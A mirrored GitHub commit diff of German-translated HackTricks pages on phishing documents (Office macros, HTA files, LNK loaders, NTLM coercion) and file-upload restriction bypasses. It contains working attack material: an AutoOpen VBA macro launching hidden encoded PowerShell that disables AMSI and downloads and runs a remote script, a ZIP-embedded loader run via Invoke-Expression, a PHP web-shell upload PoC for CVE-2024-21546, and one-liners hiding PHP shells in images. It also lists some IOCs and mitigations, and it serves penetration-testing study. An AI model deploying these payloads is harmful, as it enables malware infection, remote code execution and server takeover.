mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/ntlm/places-to-steal-ntlm-creds.m
This commit is contained in:
parent
6c75430241
commit
c90c51b131
@ -1,40 +1,40 @@
|
||||
# Phishing Dateien & Dokumente
|
||||
# Phishing-Dateien & Dokumente
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Dokumente
|
||||
## Office-Dokumente
|
||||
|
||||
Microsoft Word führt eine Dateivalidierung durch, bevor eine Datei geöffnet wird. Die Validierung erfolgt in Form der Identifikation der Datenstruktur gemäß dem OfficeOpenXML-Standard. Tritt ein Fehler bei der Identifikation der Datenstruktur auf, wird die analysierte Datei nicht geöffnet.
|
||||
Microsoft Word führt vor dem Öffnen einer Datei eine Datenvalidierung durch. Die Datenvalidierung erfolgt in Form der Identifikation von Datenstrukturen, anhand des OfficeOpenXML-Standards. Wenn während der Identifikation der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
|
||||
|
||||
Üblicherweise verwenden Word-Dateien mit macros die Erweiterung `.docm`. Allerdings ist es möglich, die Datei durch Ändern der Dateiendung umzubenennen und trotzdem ihre Fähigkeit zur Ausführung von macros beizubehalten.\
|
||||
Zum Beispiel unterstützt eine RTF-Datei per Design keine macros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann macros ausführen.\
|
||||
Die gleichen internen Abläufe und Mechanismen gelten für alle Programme der Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
Normalerweise verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und trotzdem die Fähigkeit zur Makroausführung beizubehalten.\
|
||||
Zum Beispiel unterstützt eine RTF-Datei per Design keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word verarbeitet und wäre zur Makroausführung fähig.\
|
||||
Die gleichen Interna und Mechanismen gelten für alle Programme der Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Sie können folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden:
|
||||
Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go), die macros enthält, können ebenfalls macros “execute”.
|
||||
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go), die Makros enthält, können ebenfalls Makros „ausführen“.
|
||||
|
||||
### Externes Laden von Bildern
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
Gehe zu: _Insert --> Quick Parts --> Field_\
|
||||
_**Kategorien**: Links und Verweise, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
### Makro-Backdoor
|
||||
|
||||
Es ist möglich, macros zu verwenden, um beliebigen Code aus dem Dokument auszuführen.
|
||||
Es ist möglich, Makros zu verwenden, um beliebigen Code aus dem Dokument auszuführen.
|
||||
|
||||
#### Autoload-Funktionen
|
||||
|
||||
Je häufiger sie verwendet werden, desto wahrscheinlicher erkennt AV sie.
|
||||
Je häufiger sie verwendet werden, desto wahrscheinlicher ist es, dass die AV sie erkennt.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros Code-Beispiele
|
||||
#### Makro-Code-Beispiele
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Manually remove metadata
|
||||
#### Manuell Metadaten entfernen
|
||||
|
||||
Gehe zu **File > Info > Inspect Document > Inspect Document**, wodurch der Document Inspector geöffnet wird. Klicke auf **Inspect** und dann auf **Remove All** neben **Document Properties and Personal Information**.
|
||||
Gehe zu **File > Info > Inspect Document > Inspect Document**, wodurch der Document Inspector geöffnet wird. Klicke **Inspect** und dann **Remove All** neben **Document Properties and Personal Information**.
|
||||
|
||||
#### Doc Extension
|
||||
#### Doc-Erweiterung
|
||||
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Tu dies, weil du **keine Makros in einer `.docx` speichern kannst** und es ein **Stigma** gegenüber der makroaktivierten **`.docm`**-Erweiterung gibt (z. B. hat das Vorschaubild ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **veraltete `.doc`-Erweiterung der beste Kompromiss**.
|
||||
Wenn fertig, wähle das Dropdown **Save as type** und ändere das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\
|
||||
Mach das, weil du **keine macros in einer `.docx`** speichern kannst und es ein **Stigma** gegenüber der macro-enabled **`.docm`** Erweiterung gibt (z. B. hat das Thumbnail-Icon ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` Erweiterung der beste Kompromiss**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### Generatoren für bösartige macros
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Files
|
||||
## HTA-Dateien
|
||||
|
||||
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript) kombiniert**. Es erzeugt die Benutzeroberfläche und wird als "vollständig vertrauenswürdige" Anwendung ausgeführt, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
|
||||
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript) kombiniert**. Sie erzeugt die Benutzeroberfläche und wird als "fully trusted" Anwendung ausgeführt, ohne die Einschränkungen des Sicherheitsmodells eines Browsers.
|
||||
|
||||
Eine HTA wird mit **`mshta.exe`** ausgeführt, das üblicherweise zusammen mit **Internet Explorer** **installiert** ist, wodurch **`mshta` von IE abhängig** ist. Wenn dieser deinstalliert wurde, können HTAs nicht ausgeführt werden.
|
||||
Eine HTA wird mit **`mshta.exe`** ausgeführt, das typischerweise zusammen mit **Internet Explorer** **installiert** wird, wodurch **`mshta` abhängig von IE** ist. Wenn dieser also deinstalliert wurde, können HTAs nicht ausgeführt werden.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## NTLM-Authentifizierung erzwingen
|
||||
|
||||
Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung „aus der Ferne“ zu erzwingen**, zum Beispiel kannst du **unsichtbare Bilder** in E-Mails oder HTML einfügen, die der Benutzer aufruft (sogar HTTP MitM?). Oder sende dem Opfer die **Adresse von Dateien**, die **eine Authentifizierung** **auslösen**, allein beim **Öffnen des Ordners**.
|
||||
Es gibt mehrere Wege, **NTLM authentication "remotely" zu erzwingen**, zum Beispiel könntest du **unsichtbare Bilder** in E-Mails oder HTML einfügen, die der Benutzer aufruft (auch HTTP MitM?). Oder dem Opfer die **Adresse von Dateien** schicken, die allein durch **Öffnen des Ordners** eine **Authentifizierung** **auslösen**.
|
||||
|
||||
**Weitere Ideen und Details auf den folgenden Seiten:**
|
||||
**Prüfe diese Ideen und mehr auf den folgenden Seiten:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung „aus der Ferne“ zu
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Vergiss nicht, dass du nicht nur den Hash oder die Authentifizierung stehlen kannst, sondern auch **NTLM relay attacks** durchführen kannst:
|
||||
Vergiss nicht, dass du nicht nur den Hash oder die Authentifizierung stehlen kannst, sondern auch **NTLM Relay attacks** durchführen kannst:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Hocheffektive Kampagnen liefern ein ZIP, das zwei legitime Köderdokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den rohen Bytes des ZIPs nach einem eindeutigen Marker gespeichert ist, und die .lnk ihn vollständig im Speicher ausschneidet und ausführt.
|
||||
Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Lock-Dokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick ist, dass der eigentliche PowerShell-Loader in den rohen Bytes der ZIP nach einem eindeutigen Marker gespeichert ist und die .lnk ihn vollständig im Speicher ausschneidet und ausführt.
|
||||
|
||||
Typischer Ablauf, implementiert vom .lnk PowerShell one-liner:
|
||||
Typischer Ablauf, implementiert durch den .lnk PowerShell-One-Liner:
|
||||
|
||||
1) Finde das ursprüngliche ZIP in üblichen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
|
||||
2) Lese die ZIP-Bytes und finde einen hartkodierten Marker (z. B. xFIQCV). Alles nach dem Marker ist die eingebettete PowerShell-Payload.
|
||||
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne die Köder-.docx, um legitim zu wirken.
|
||||
1) Finde die ursprüngliche ZIP in üblichen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem Parent des aktuellen Working Directory.
|
||||
2) Lese die ZIP-Bytes und finde einen hartcodierten Marker (z. B. xFIQCV). Alles nach dem Marker ist die eingebettete PowerShell-Payload.
|
||||
3) Kopiere die ZIP nach %ProgramData%, entpacke sie dort und öffne die Lock-.docx, um legitim zu wirken.
|
||||
4) AMSI für den aktuellen Prozess umgehen: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Die nächste Stufe deobfuskieren (z. B. alle #-Zeichen entfernen) und im Speicher ausführen.
|
||||
5) Die nächste Stufe deobfuskieren (z. B. alle # Zeichen entfernen) und sie im Speicher ausführen.
|
||||
|
||||
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe auszuschneiden und auszuführen:
|
||||
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe zu extrahieren und auszuführen:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,19 +191,19 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Hinweise
|
||||
- Die Zustellung missbraucht oft vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann payloads per IP/UA filtern (liefert harmlose ZIPs).
|
||||
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn über Reflection.Emit + VirtualAlloc aus, um Artefakte auf der Festplatte zu minimieren.
|
||||
- Die Auslieferung missbraucht oft vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann Payloads filtern (liefert harmlose ZIPs basierend auf IP/UA).
|
||||
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn über Reflection.Emit + VirtualAlloc aus, um Festplattenartefakte zu minimieren.
|
||||
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control, sodass IE/Explorer oder jede App, die es einbettet, das payload automatisch neu startet. Siehe Details und einsatzbereite Befehle hier:
|
||||
- COM TypeLib hijacking des Microsoft Web Browser control, sodass IE/Explorer oder jede App, die ihn einbettet, die payload automatisch erneut startet. Siehe Details und einsatzbereite Befehle hier:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP-Dateien, bei denen der ASCII-Marker-String (z. B. xFIQCV) an die Archivdaten angehängt ist.
|
||||
- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden, und ein decoy document öffnet.
|
||||
- ZIP-Dateien, die den ASCII-Marker-String (z. B. xFIQCV) an die Archivdaten angehängt enthalten.
|
||||
- .lnk, das übergeordnete/Benutzerordner durchsucht, um das ZIP zu finden, und ein Köderdokument öffnet.
|
||||
- AMSI-Manipulation via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Lang laufende Business-Threads, die mit Links enden, die unter vertrauenswürdigen PaaS-Domains gehostet sind.
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
||||
Weitere nützliche Erweiterungen:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Arbeiten mit PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,13 +15,13 @@ Weitere nützliche Erweiterungen:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Umgehung von Dateiendungsprüfungen
|
||||
### Umgehen von Dateiendungsprüfungen
|
||||
|
||||
1. Falls vorhanden, prüfe die vorherigen Extensions. Teste sie auch mit einigen Großbuchstaben: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Überprüfe **das Hinzufügen einer gültigen Extension vor** der Ausführungs-Extension (verwende auch die vorherigen Extensions):_
|
||||
1. Falls vorhanden, überprüfe die vorherigen Erweiterungen. Teste sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Prüfe, **eine gültige Erweiterung vor** der Ausführungs-Endung hinzuzufügen (verwende auch die vorherigen Erweiterungen):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Versuche, **Sonderzeichen am Ende hinzuzufügen.** Du könntest Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**n. (_Hinweis: Du kannst auch versuchen, die **zuvor genannten** **Extensions** zu verwenden_)
|
||||
3. Versuche, **Sonderzeichen am Ende** hinzuzufügen. Du kannst Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforce**n. (_Hinweis: Du kannst auch versuchen, die zuvor genannten Erweiterungen zu verwenden_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Weitere nützliche Erweiterungen:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Versuche, die Schutzmechanismen zu umgehen, indem du den Parser für Dateiendungen auf der Serverseite austrickst, mit Techniken wie dem **Verdoppeln** der **Extension** oder dem **Hinzufügen von Junk**-Daten (**null**-Bytes) zwischen den Extensions. _Du kannst auch die **vorherigen Extensions** verwenden, um ein besseres Payload vorzubereiten._
|
||||
4. Versuche, die Schutzmechanismen zu umgehen, indem du den Extension-Parser auf Serverseite austrickst, mit Techniken wie **doubling** der **extension** oder dem Hinzufügen von Junk-Daten (**null** bytes) zwischen den Endungen. _Du kannst auch die vorherigen Erweiterungen verwenden, um ein besseres Payload vorzubereiten._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Weitere nützliche Erweiterungen:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Füge **eine zusätzliche Schicht von Extensions** zur vorherigen Prüfung hinzu:
|
||||
5. Füge **eine weitere Schicht von Erweiterungen** zur vorherigen Prüfung hinzu:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Versuche, die **ausführende Extension vor der gültigen Extension** zu setzen und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Misconfigurations auszunutzen, bei denen alles mit der Extension **.php**, aber nicht unbedingt endend in .php, Code ausführt):
|
||||
6. Versuche, die **exec extension before the valid extension** zu setzen und hoffe, dass der Server falsch konfiguriert ist. (Nützlich, um Apache-Misconfigurations auszunutzen, bei denen alles mit der Erweiterung **.php**, aber nicht notwendigerweise endend in .php, Code ausführt):
|
||||
- _ex: file.php.png_
|
||||
7. Verwendung von **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt-Zeichen ":" nach einer verbotenen Extension und vor einer erlaubten eingefügt. In der Folge wird eine **leere Datei mit der verbotenen Extension** auf dem Server erstellt (z. B. "file.asax:.jpg”). Diese Datei kann später mit anderen Techniken wie der Verwendung ihres Short Filename bearbeitet werden. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erzeugen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster ebenfalls nützlich sein, um weitere Restriktionen zu umgehen (z. B. "file.asp::$data.”)
|
||||
8. Versuche, die Dateinamen-Limits zu überschreiten. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
7. Verwendung von **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. In der Folge wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. über ihren Short Filename. Das Muster "**::$data**" kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann es nützlich sein, nach diesem Muster einen Punkt hinzuzufügen, um weitere Beschränkungen zu umgehen (z. B. "file.asp::$data.")
|
||||
8. Versuche, die Dateinamenbegrenzungen zu überschreiten. Die gültige Erweiterung wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Einige Upload-Handler trimmen oder normalisieren nachgestellte Punktzeichen im gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Extension-Validierung umgehen durch:
|
||||
Einige Upload-Handler trimmen oder normalisieren nachgestellte Punktzeichen im gespeicherten Dateinamen. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) Versionen vor 2.9.1 kannst du die Erweiterungsvalidierung umgehen durch:
|
||||
|
||||
- Verwendung eines gültigen image MIME und magic header (z. B. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Benennung der hochgeladenen Datei mit einer PHP-Extension gefolgt von einem Punkt, z. B. `shell.php.`.
|
||||
- Der Server entfernt den nachgestellten Punkt und persistiert `shell.php`, welches ausgeführt wird, wenn es in einem web-geservten Verzeichnis liegt (Standard public storage wie `/storage/files/`).
|
||||
- Verwendung eines gültigen image MIME und magic headers (z. B. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Den hochgeladenen Datei mit einer PHP-Erweiterung gefolgt von einem Punkt benennen, z. B. `shell.php.`.
|
||||
- Der Server entfernt den nachgestellten Punkt und speichert `shell.php`, welches ausgeführt wird, wenn es in einem web-freigegebenen Verzeichnis liegt (standardmäßiger public storage wie `/storage/files/`).
|
||||
|
||||
Minimaler PoC (Burp Repeater):
|
||||
Minimales PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,65 +80,65 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Rufe dann den gespeicherten Pfad auf (typisch bei Laravel + LFM):
|
||||
Dann rufe den gespeicherten Pfad auf (typisch in Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Erzwinge strikte serverseitige allowlists und validiere den gespeicherten Dateinamen erneut.
|
||||
- Serve uploads from non-executable locations.
|
||||
Gegenmaßnahmen:
|
||||
- Aktualisiere unisharp/laravel-filemanager auf ≥ 2.9.1.
|
||||
- Durchsetze strikte serverseitige allowlists und validiere den persistierten Dateinamen erneut.
|
||||
- Stelle Uploads aus nicht-ausführbaren Verzeichnissen bereit.
|
||||
|
||||
### Umgehung von Content-Type, Magic Number, Compression & Resizing
|
||||
### Umgehen von Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Umgehe **Content-Type**-Prüfungen, indem du den **Wert** des **Content-Type** **Headers** auf: _image/png_ , _text/plain , application/octet-stream_ setzt
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Umgehung der **magic number**-Prüfung, indem man am Anfang der Datei die **bytes of a real image** hinzufügt (verwirrt das _file_ command). Oder das Shell in den **metadata** einfügen:\
|
||||
- Umgehe die **magic number**-Prüfung, indem du am Anfang der Datei die **Bytes eines echten Bildes** hinzufügst (verwirre den _file_ command). Oder platziere die Shell in den **Metadaten**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder man könnte das **payload direkt** in ein Bild einbringen:\
|
||||
`\` oder du könntest das **payload direkt in ein Bild einfügen**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Wenn **compressions** zu deinem Bild hinzugefügt werden, zum Beispiel unter Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht mehr nützlich. Du könntest jedoch den **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **survive compression**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die Webseite könnte das **image** auch **resizen**, z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch den **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **survive compression**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Eine weitere Technik, um ein Payload zu erstellen, das ein Bild-Resizing überlebt, verwendet die PHP-GD-Funktion `thumbnailImage`. Alternativ kann man den **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) nutzen, um Text einzufügen, der die **survive compression**.
|
||||
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Wenn **Kompressionen** deinem Bild hinzugefügt werden, z. B. mit Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht mehr nützlich. Du könntest jedoch die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die Webseite könnte das **Bild auch skalieren**, z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch den **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Eine weitere Technik, um ein Payload zu erstellen, das eine Bild-Resizing überlebt, verwendet die PHP-GD-Funktion `thumbnailImage`. Du könntest jedoch den **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Weitere Tricks zum Prüfen
|
||||
|
||||
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- Finde eine Verwundbarkeit, um die bereits hochgeladene Datei zu **rename** (z. B. um die Extension zu ändern).
|
||||
- Finde eine **Local File Inclusion**-Schwachstelle, um die Backdoor auszuführen.
|
||||
- **Mögliche Informationsoffenlegung**:
|
||||
1. Lade die **gleiche Datei** **mehrmals** (und **gleichzeitig**) mit **dem gleichen Namen** hoch.
|
||||
2. Lade eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**, hoch.
|
||||
3. Hochladen einer Datei mit **"." , "..", or "…" as its name**. Zum Beispiel: In Apache auf **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, wird der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/" erstellen.
|
||||
4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"…:.jpg"** in **NTFS**. (Windows)
|
||||
5. Lade eine Datei in **Windows** mit **invalid characters** wie `|<>*?”` im Namen hoch. (Windows)
|
||||
6. Lade eine Datei in **Windows** hoch, die **reserved** (**forbidden**) **names** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, und LPT9 verwendet.
|
||||
- Versuche außerdem, eine **upload an executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **code ausführen wird**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
1. Lade die **gleiche Datei** **mehrfach** (und **gleichzeitig**) mit **dem gleichen Namen** hoch.
|
||||
2. Lade eine Datei mit dem **Namen** einer **bereits vorhandenen Datei** oder eines **bereits vorhandenen Ordners** hoch.
|
||||
